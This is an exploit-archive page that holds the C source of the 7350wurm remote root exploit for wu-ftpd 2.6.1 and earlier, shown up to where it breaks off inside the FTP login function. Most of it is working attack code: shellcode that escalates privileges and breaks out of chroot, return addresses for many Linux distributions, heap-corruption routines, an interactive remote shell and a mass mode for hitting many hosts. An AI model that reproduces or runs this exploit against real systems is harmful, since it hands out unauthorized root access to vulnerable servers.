0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
wu-ftpd <= 2.6.1 Remote Root Exploit
==================================== wu-ftpd <= 2.6.1 Remote Root Exploit ==================================== /* 7350wurm - x86/linux wu_ftpd remote root exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and * ideas (synnergy.net rocks, thank you buddies ! :). */ #define VERSION "0.2.2" /* TODO 1. fix chroot break on linux 2.4.x (x >= 13?) * (ptrace inject on ppid()) */ #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <arpa/telnet.h> #include <netdb.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <time.h> #define INIT_CMD "unset HISTFILE;id;uname -a;\n" /* shellcodes */ unsigned char x86_lnx_loop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\xfe"; /* x86/linux write/read/exec code (41 bytes) * does: 1. write (1, "\nsP\n", 4); * 2. read (0, ncode, 0xff); * 3. jmp ncode */ unsigned char x86_wrx[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" "\x80\xeb\x05\xe8\xed\xff\xff\xff"; unsigned char x86_lnx_execve[] = /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break * code by lorian / teso */ "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" "\x80" /* 34 byte x86 linux argv code -sc */ "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff"; /* setreuid/chroot/execve * lorian / teso */ unsigned char x86_lnx_shell[] = /* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and * 2.4.13 they changed chroot behaviour. maybe to ptrace-inject * on parent process (inetd) and execute code there. (optional) */ "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" "\x80" "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; typedef struct { char * desc; /* distribution */ char * banner; /* ftp banner part */ unsigned char * shellcode; unsigned int shellcode_len; unsigned long int retloc; /* return address location */ unsigned long int cbuf; /* &cbuf[0] */ } tgt_type; tgt_type tmanual = { "manual values", "unknown banner", x86_wrx, sizeof (x86_wrx) - 1, 0x41414141, 0x42424242 }; tgt_type targets[] = { { "Caldera eDesktop|eServer|OpenLinux 2.3 update " "[wu-ftpd-2.6.1-13OL.i386.rpm]", "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806e2b0, 0x080820a0 }, { "Debian potato [wu-ftpd_2.6.0-3.deb]", "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x0806db00, 0x0807f520 }, { "Debian potato [wu-ftpd_2.6.0-5.1.deb]", "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806db80, 0x0807f5a0 }, { "Debian potato [wu-ftpd_2.6.0-5.3.deb]", "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806db80, 0x0807f5a0 }, { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806e7a0, 0x0807ffe0 }, { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]", "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x080713e0, 0x08082e00 }, { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]", "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x08072bd4, 0x08086400 }, { "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]", "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f7f0, 0x08082600 }, { "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]", "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x08071850, 0x08084660 }, { "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]", "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806fec4, 0x08082b40 }, { "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Mon Jan 18 19:19:31 EST 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x08061cf0, 0x08068540 }, /* XXX: manually found */ { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Mon Aug 3 19:17:20 EDT 1998", x86_wrx, sizeof (x86_wrx) - 1, 0x08061c48, 0x08068490 }, /* XXX: manually found */ { "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]", "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806b530, 0x08076550 }, /* XXX: manually found */ #if 0 /* XXX: not exploitable using synnergy.net method. (glob code * does not handle {.,.,.,.} */ { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]", "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x08069f04, 0x08079f60 }, #endif { "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]", "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x0806e620, 0x080803e0 }, { "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]", "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x08070538, 0x08083360 }, { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x0806cb88, 0x0807cc40 }, { "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]", "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806e1a0, 0x0807fbc0 }, { "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]", "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x08070ddc, 0x08084600 }, { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]", "Version wu-2.6.1-16", x86_wrx, sizeof (x86_wrx) - 1, 0x0807314c, 0x08085de0 }, { "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]", "Version wu-2.6.1-18", x86_wrx, sizeof (x86_wrx) - 1, 0x08072c30, 0x08085900 }, { "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]", "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806e6b4, 0x080800c0 }, { "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Wed Aug 30 22:26:37 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806989c, 0x08069f80 }, { "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]", "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f85c, 0x08081280 }, { "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]", "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f4e0, 0x08080f00 }, { "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Mon Jun 26 13:11:56 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806a234, 0x0806a880 }, { "SuSE 7.0 [wuftpd.rpm]", "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f180, 0x08080ba0 }, { "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Wed Sep 20 23:52:21 GMT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806a554, 0x0806aba0 }, { "SuSE 7.1 [wuftpd.rpm]", "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f168, 0x08080980 }, { "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Thu Mar 1 14:44:08 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806a534, 0x0806ab80 }, { "SuSE 7.2 [wuftpd.rpm]", "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f58c, 0x08080dc0 }, { "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Mon Jun 18 12:35:12 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806a784, 0x0806ae40 }, { "SuSE 7.3 [wuftpd.rpm]", "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806f31c, 0x08080aa0 }, { "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]", "Version wu-2.4.2-academ[BETA-18](1) " "Thu Oct 25 03:14:49 GMT 2001", x86_wrx, sizeof (x86_wrx) - 1, 0x0806a764, 0x0806ad60 }, #if 0 /* slackware (from 8 on they use proftpd by default) */ { "Slackware 7", "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999", x86_wrx, sizeof (x86_wrx) - 1, 0x0806d03c, 0x0808f648 }, #endif { "Slackware 7.1", "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000", x86_wrx, sizeof (x86_wrx) - 1, 0x0806ba2c, }, { NULL, NULL, 0, 0, 0, 0 }, }; /* exploitation related stuff. * DO NOT CHANGE, except you know exactly what you are doing. */ #define CHUNK_POS 256 #define MALLOC_ALIGN_MASK 0x07 #define MALLOC_MINSIZE 0x10 #define CHUNK_ALLSIZE(s) \ CHUNK_ROUND((s)) + 0x08 #define CHUNK_ROUND(s) \ (((((s) + 4 + MALLOC_ALIGN_MASK)) < \ (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \ (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \ ~MALLOC_ALIGN_MASK)) /* minimum sized malloc(n) allocation that will jield in an overall * chunk size of s. (s must be a valid %8=0 chunksize) */ #define CHUNK_ROUNDDOWN(s) \ ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11) #define CHUNK_STRROUNDDOWN(s) \ (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1) /* FTP related stuff */ char * dest = "127.0.0.1"; /* can be changed with -d */ char * username = "ftp"; /* can be changed with -u */ char * password = "mozilla@"; /* can be changed with -p */ char * ftp_banner = NULL; int verbose = 0; /* FTP prototypes */ void ftp_escape (unsigned char *buf, unsigned long int buflen); void ftp_recv_until (int sock, char *buff, int len, char *begin); int ftp_login (char *host, char *user, char *pass); /* main prototypes */ void usage (char *progname); void exploit (int fd, tgt_type *tgt); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); void tgt_list (void); tgt_type * tgt_frombanner (unsigned char *banner); void xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize); void xp_gapfill (int fd, int rnfr_num, int rnfr_size); int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); /*** MASS mode stuff */ static int sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode, char **argv); int mass = 0; /* enable with -m (kids, get hurt!) */ unsigned int mlen = 0; unsigned char mcode[256]; /* imported from network.c */ #define NET_CONNTIMEOUT 60 #define NET_READTIMEOUT 20 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); void net_write (int fd, const char *str, ...); int net_rtimeout (int fd, int sec); int net_rlinet (int fd, char *buf, int bufsize, int sec); /* exploitation related stuff, which is fixed on all wuftpd systems */ #define RNFR_SIZE 4 #define RNFR_NUM 73 int automode = 0; /* evil, do not use */ int debugmode = 0; void usage (char *progname) { fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n" "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n" "\t[-L <retloc>] [-A <retaddr>]\n\n", progname); fprintf (stderr, "-h\tthis help\n" "-v\tbe verbose (default: off, twice for greater effect)\n" "-a\tAUTO mode (target from banner)\n" "-D\tDEBUG mode (waits for keypresses)\n" "-m\tenable mass mode (use with care)\n" "-t num\tchoose target (0 for list, try -v or -v -v)\n" "-u user\tusername to login to FTP (default: \"ftp\")\n" "-p pass\tpassword to use (default: \"mozilla@\")\n" "-d dest\tIP address or fqhn to connect to " "(default: 127.0.0.1)\n" "-L loc\toverride target-supplied retloc " "(format: 0xdeadbeef)\n" "-A addr\toverride target-supplied retaddr " "(format: 0xcafebabe)\n"); fprintf (stderr, "\n"); exit (EXIT_FAILURE); } unsigned char * shellcode = NULL; unsigned long int shellcode_len = 0; unsigned long int user_retloc = 0, user_retaddr = 0; int main (int argc, char *argv[]) { char c; char * progname; /* = argv[0] */ int fd; tgt_type * tgt = NULL; int tgt_num = -1; unsigned char xpbuf[512 + 16]; fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root " "(version "VERSION")\n" "team teso (thx bnuts, tomas, synnergy.net !).\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) { switch (c) { case 'h': usage (progname); break; case 'a': automode = 1; break; case 'D': debugmode = 1; break; case 'v': verbose += 1; break; case 'm': mass = 1; break; case 't': if (sscanf (optarg, "%u", &tgt_num) != 1) usage (progname); break; case 'u': username = "h0ra"; printf ("username = %s\n", optarg); break; case 'p': password = optarg; break; case 'd': dest = optarg; break; case 'L': if (sscanf (optarg, "0x%lx", &user_retloc) != 1) usage (progname); break; case 'A': if (sscanf (optarg, "0x%lx", &user_retaddr) != 1) usage (progname); break; default: usage (progname); break; } } /* if both required offsets are given manually, then we dont have * to require a target selection. otherwise check whether the target * is within the list. if its not, then print a list of available * targets */ if (user_retloc != 0 && user_retaddr != 0) { tgt = &tmanual; } else if (automode == 0 && (tgt_num == 0 || tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) { if (tgt_num != 0) printf ("WARNING: target out of list. list:\n\n"); tgt_list (); exit (EXIT_SUCCESS); } if (tgt == NULL && automode == 0) tgt = &targets[tgt_num - 1]; if (mass == 1) { if ((argc - optind) == 0) usage (progname); mlen = sc_build_x86_lnx (mcode, sizeof (mcode), x86_lnx_execve, &argv[optind]); if (mlen >= 0xff) { fprintf (stderr, "created argv-code too long " "(%d bytes)\n", mlen); exit (EXIT_FAILURE); } fprintf (stderr, "# created %d byte execve shellcode\n", mlen); } printf ("# trying to log into %s with (%s/%s) ...", dest, username, password); fflush (stdout); fd = ftp_login (dest, username, password); if (fd <= 0) { fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); exit (EXIT_FAILURE); } printf (" connected.\n"); if (debugmode) { printf ("DEBUG: press enter\n"); getchar (); } printf ("# banner: %s", (ftp_banner == NULL) ? "???" : ftp_banner); if (tgt == NULL && automode) { tgt = tgt_frombanner (ftp_banner); if (tgt == NULL) { printf ("# failed to jield target from banner, aborting\n"); exit (EXIT_FAILURE); } printf ("# successfully selected target from banner\n"); } if (shellcode == NULL) { shellcode = tgt->shellcode; shellcode_len = tgt->shellcode_len; } if (verbose >= 2) { printf ("using %lu byte shellcode:\n", shellcode_len); hexdump ("shellcode", shellcode, shellcode_len); } if (user_retaddr != 0) { fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n", user_retaddr); } if (user_retloc != 0) { fprintf (stderr, "# overriding target retloc with: 0x%08lx\n", user_retloc); tgt->retloc = user_retloc; } printf ("\n### TARGET: %s\n\n", tgt->desc); /* real stuff starts from here */ printf ("# 1. filling memory gaps\n"); xp_gapfill (fd, RNFR_NUM, RNFR_SIZE); exploit (fd, tgt); printf ("# 3. triggering free(globlist[1])\n"); net_write (fd, "CWD ~{\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); if (strncmp (xpbuf, "sP", 2) != 0) { fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", xpbuf); exit (EXIT_FAILURE); } printf ("#\n# exploitation succeeded. sending real shellcode\n"); if (mass == 1) { printf ("# mass mode, sending constructed argv code\n"); write (fd, mcode, mlen); printf ("# send. sleeping 10 seconds\n"); sleep (10); printf ("# success.\n"); exit (EXIT_SUCCESS); } printf ("# sending setreuid/chroot/execve shellcode\n"); net_write (fd, "%s", x86_lnx_shell); printf ("# spawning shell\n"); printf ("##################################################" "##########################\n"); write (fd, INIT_CMD, strlen (INIT_CMD)); shell (fd); exit (EXIT_SUCCESS); } void exploit (int fd, tgt_type *tgt) { unsigned long int dir_chunk_size, bridge_dist, padchunk_size, fakechunk_size, pad_before; unsigned char * dl; /* dirlength */ unsigned char xpbuf[512 + 64]; /* figure out home directory length */ net_write (fd, "PWD\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 "); dl = strchr (xpbuf, '"'); if (dl == NULL || strchr (dl + 1, '"') == NULL) { fprintf (stderr, "faulty PWD reply: %s\n", xpbuf); exit (EXIT_FAILURE); } dir_chunk_size = 0; for (dl += 1 ; *dl != '"' ; ++dl) dir_chunk_size += 1; if (verbose) printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf); /* compute chunk size from it (needed later) */ dir_chunk_size += 3; /* ~/ + NUL byte */ dir_chunk_size = CHUNK_ROUND (dir_chunk_size); if (debugmode) printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size); /* send preparation buffer to store the fakechunk in the end of * the malloc buffer allocated from within the parser ($1) */ printf ("# 2. sending bigbuf + fakechunk\n"); xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); if (verbose) hexdump ("xpbuf", xpbuf, strlen (xpbuf)); ftp_escape (xpbuf, sizeof (xpbuf)); net_write (fd, "CWD %s\n", xpbuf); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); /* synnergy.net uberleet method (thank you very much guys !) */ net_write (fd, "CWD ~/{.,.,.,.}\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); /* now, we flush the last-used-chunk marker in glibc malloc code. else * we might land in a previously used bigger chunk, but we need a * sequential order. "CWD ." will allocate a two byte chunk, which will * be reused on any later small malloc. */ net_write (fd, "CWD .\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); /* cause chunk with padding size */ pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) + dir_chunk_size - 0x08; xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before)); /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */ bridge_dist = 0x10 + 4 * dir_chunk_size; if (debugmode) printf ("bridge_dist = 0x%08lx\n", bridge_dist); /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */ padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10; if (debugmode) printf ("padchunk_size = 0x%08lx\n", padchunk_size); /* +4 = this_size field itself */ fakechunk_size = CHUNK_POS + 4; fakechunk_size -= pad_before; fakechunk_size += 0x04; /* account for prev_size, too */ fakechunk_size |= 0x1; /* set PREV_INUSE */ if (debugmode) printf ("fakechunk_size = 0x%08lx\n", fakechunk_size); xp_buildsize (fd, fakechunk_size, 0x10); /* pad down to the minimum possible size in 8 byte alignment */ if (verbose) printf ("\npadchunk_size = 0x%08lx\n==> %lu\n", padchunk_size, padchunk_size - 8 - 1); xp_gapfill (fd, 1, padchunk_size - 8 - 1); if (debugmode) { printf ("press enter\n"); getchar (); } return; } /* tgt_list * * give target list */ void tgt_list (void) { int tgt_num; printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); if (verbose) printf (" : %s\n", targets[tgt_num].banner); if (verbose >= 2) printf (" : retloc: 0x%08lx " "cbuf: 0x%08lx\n", targets[tgt_num].retloc, targets[tgt_num].cbuf); } printf (" '\n"); return; } /* tgt_frombanner * * try to automatically select target from ftp banner * * return pointer to target structure on success * return NULL on failure */ tgt_type * tgt_frombanner (unsigned char *banner) { int tw; /* target list walker */ for (tw = 0 ; targets[tw].desc != NULL ; ++tw) { if (strstr (banner, targets[tw].banner) != NULL) return (&targets[tw]); } return (NULL); } /* xp_buildsize * * set chunksize to this_size_ls. do this in a csize bytes long chunk. * normally csize = 0x10. csize is always a padded chunksize. */ void xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize) { int n, cw; /* chunk walker */ unsigned char tmpbuf[512]; unsigned char * leet = "7350"; for (n = 2 ; n > 0 ; --n) { memset (tmpbuf, '\0', sizeof (tmpbuf)); for (cw = 0 ; cw < (csize - 0x08) ; ++cw) tmpbuf[cw] = leet[cw % 4]; tmpbuf[cw - 4 + n] = '\0'; if (debugmode) printf (": CWD %s\n", tmpbuf); net_write (fd, "CWD %s\n", tmpbuf); ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); } memset (tmpbuf, '\0', sizeof (tmpbuf)); for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw) tmpbuf[cw] = leet[cw % 4]; if (debugmode) printf ("| CWD %s\n", tmpbuf); net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls); ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); /* send a minimum-sized malloc request that will allocate a chunk * with 'csize' overall bytes */ xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize)); return; } /* xp_gapfill * * fill all small memory gaps in wuftpd malloc space. do this by sending * rnfr requests which cause a memleak in wuftpd. * * return in any case */ void xp_gapfill (int fd, int rnfr_num, int rnfr_size) { int n; unsigned char * rb; /* rnfr buffer */ unsigned char * rbw; /* rnfr buffer walker */ unsigned char rcv_buf[512]; /* temporary receive buffer */ if (debugmode) printf ("RNFR: %d x 0x%08x (%d)\n", rnfr_num, rnfr_size, rnfr_size); rbw = rb = calloc (1, rnfr_size + 6); strcpy (rbw, "RNFR "); rbw += strlen (rbw); /* append a string of "././././". since wuftpd only checks whether * the pathname is lstat'able, it will go through without any problems */ for (n = 0 ; n < rnfr_size ; ++n) strcat (rbw, ((n % 2) == 0) ? "." : "/"); strcat (rbw, "\n"); for (n = 0 ; n < rnfr_num; ++n) { net_write (fd, "%s", rb); ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); } free (rb); return; } #define ADDR_STORE(ptr,addr){\ ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ } int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) { unsigned char * wl; memset (buf, '\0', buf_len); memset (buf, '0', CHUNK_POS); xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1); for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) { wl[0] = '\xeb'; wl[1] = '\x0c'; } memcpy (&buf[buf_len - 1] - shellcode_len, shellcode, shellcode_len); return (strlen (buf)); } /* xp_buildchunk * * build the fake malloc chunk that will overwrite retloc with retaddr */ void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) { unsigned long int retaddr_eff; /* effective */ if (user_retaddr) retaddr_eff = user_retaddr; else retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16; fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", tgt->retloc, retaddr_eff, clen); /* easy, straight forward technique */ ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */ ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ ADDR_STORE (&cspace[12], retaddr_eff); /* bk */ return; } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("connection closed by foreign host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /*** FTP functions */ /* FTP is TELNET is SHIT. */ void ftp_escape (unsigned char *buf, unsigned long int buflen) { unsigned char * obuf = buf; for ( ; *buf != '\0' ; ++buf) { if (*buf == 0xff && (((buf - obuf) + strlen (buf) + 1) < buflen)) { memmove (buf + 1, buf, strlen (buf) + 1); buf += 1; } } } void ftp_recv_until (int sock, char *buff, int len, char *begin) { char dbuff[2048]; if (buff == NULL) { buff = dbuff; len = sizeof (dbuff); } do { memset (buff, '\x00', len); if (net_rlinet (sock, buff, len - 1, 20) <= 0) return; } while (memcmp (buff, begin, strlen (begin)) != 0); return; } int ftp_login (char *host, char *user, char *pass) { int ftpsock; char resp[512]; ftpsock = net_connect (NULL, host, 21, 30); if (ftpsock <= 0) return (0); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline pre-login stuff (rfc violation !) */ if (memcmp (resp, "220-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); if (memcmp (resp, "220 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } ftp_banner = strdup (resp); net_write (ftpsock, "USER %s\n", user); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; if (memcmp (resp, 